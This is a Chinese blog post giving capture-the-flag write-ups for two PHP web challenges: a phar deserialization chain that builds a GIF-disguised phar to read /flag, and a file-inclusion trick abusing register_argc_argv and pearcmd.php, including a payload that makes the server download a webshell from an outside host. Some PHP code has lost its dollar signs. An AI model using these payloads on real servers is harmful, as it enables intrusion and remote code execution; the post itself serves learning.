3rsh1
/single dog/college student/ctfer
3rsh1's Blog

巅峰极客[复现wp]

巅峰极客wp

babyphp2

phar反序列化,用到了一个小tips:

compress.bzip2://phar://    版本:7.4 +
compress.zlib://phar:///    版本:都可以
php://filter/resource=phar://
https://3rsh1.oss-cn-beijing.aliyuncs.com/11111111.png

还有一点就是需要绝对路径来读flag,因为析构函数调用的时候工作目录可能不在当前目录。其实当初思考过session反序列化,可以上传文件。但是找不到session的目录。

<?php

class User
{
    public id;
    publicage=null;
    public nickname=null;
    publicbackup;
    public function __construct()
    {
        this->nickname = new Reader();this->backup = "/flag";
    }
}
class dbCtrl
{
    public token;
    public function __construct()
    {this->token = new User;
    }
}

Class Reader{
    public filename;
    publicresult;
}

y1ng = new dbCtrl();phar = new Phar("web1.phar");
phar->startBuffering();phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
phar->setMetadata(y1ng);
phar->addFromString("test.txt", "test");phar->stopBuffering();

@rename("web1.phar", "test.gif");
compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif

MeowWorld

一个挺有意思的题目。原题的index.php的代码:

<?php 
    f =_GET['f'] ?? "home";
    include("{$f}.php"); 
?>

register_argc_argv boolean

Tells PHP whether to declare the argv & argc variables (that would contain the GET information).

$argv —— 传递给脚本的参数数组。包含当运行于命令行下时传递给当前脚本的参数的数组。第一个数组元素是文件名。

<?php
var_dump($argv);
?>

// 当使用这个命令执行:php script.php arg1 arg2 arg3    
/*
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}
*/

$avgcargument count,也就是参数的数量。

对于register_argc_argv 经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off 其实在用7.4.3测试的时候为On也不太行。

实验一下:

<?php
    error_reporting(0);
    a=_SERVER['argv'];
    var_dump($a);
?>
https://3rsh1.oss-cn-beijing.aliyuncs.com/20201013163416.png

发现GET传值会污染argv数组内的值,这样就可以操作php 命令的参数了。其实也可以在官方文档里看到相关的内容。

PEARPHP扩展与应用库(the PHP Extension and Application Repository)的缩写。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR之于PHP就像是CPAN(Comprehensive Perl Archive Network)之于Perl。感觉有点类似于pythonpip。可以用来安装东西。一个介绍pear链接

如果用php来调用:

php pearcmd.php argv1 argv2

这里的pearcmd.php文件默认放在/usr/share/php/目录下,可能会有想法来包含远程vps上的文件,但是一般情况下远程包含是默认不行的。所以可以尝试用pearcmd来装马。查看文档可以看到一个download模式,主要用于离线安装,大概就是先把包下下来然后再本地安装,其实这种情况下我们就可以下载我们的木马文件了。

pear download https://www.3rsh1.cool/index.php

本地实验的话会发现虽然安装会失败但是确实下载了这个文件。但是下载的是服务端渲染之后的页面源码,在oss上放个文件直接下载就好了。或者直接把想要执行的代码输出出来,操作就很多了。

直接贴一个题目的payload把:

?f=pearcmd&+download+http://xx.xx.xx.xx:81/shell.php
个人感觉这里不需要&

还有一种方法就是install装马。大致思路就是在安装包内放一个木马文件。这里放个链接就不多说了:

https://lemonprefect.cn/posts/zhs/bcde979b/#MeowWorld

发表评论

textsms
account_circle
email

3rsh1's Blog

巅峰极客[复现wp]
巅峰极客wp babyphp2 phar反序列化,用到了一个小tips: compress.bzip2://phar:// 版本:7.4 + compress.zlib://phar:/// 版本:都可以 php://filter/resource=phar:// 还…
扫描二维码继续阅读
2020-10-13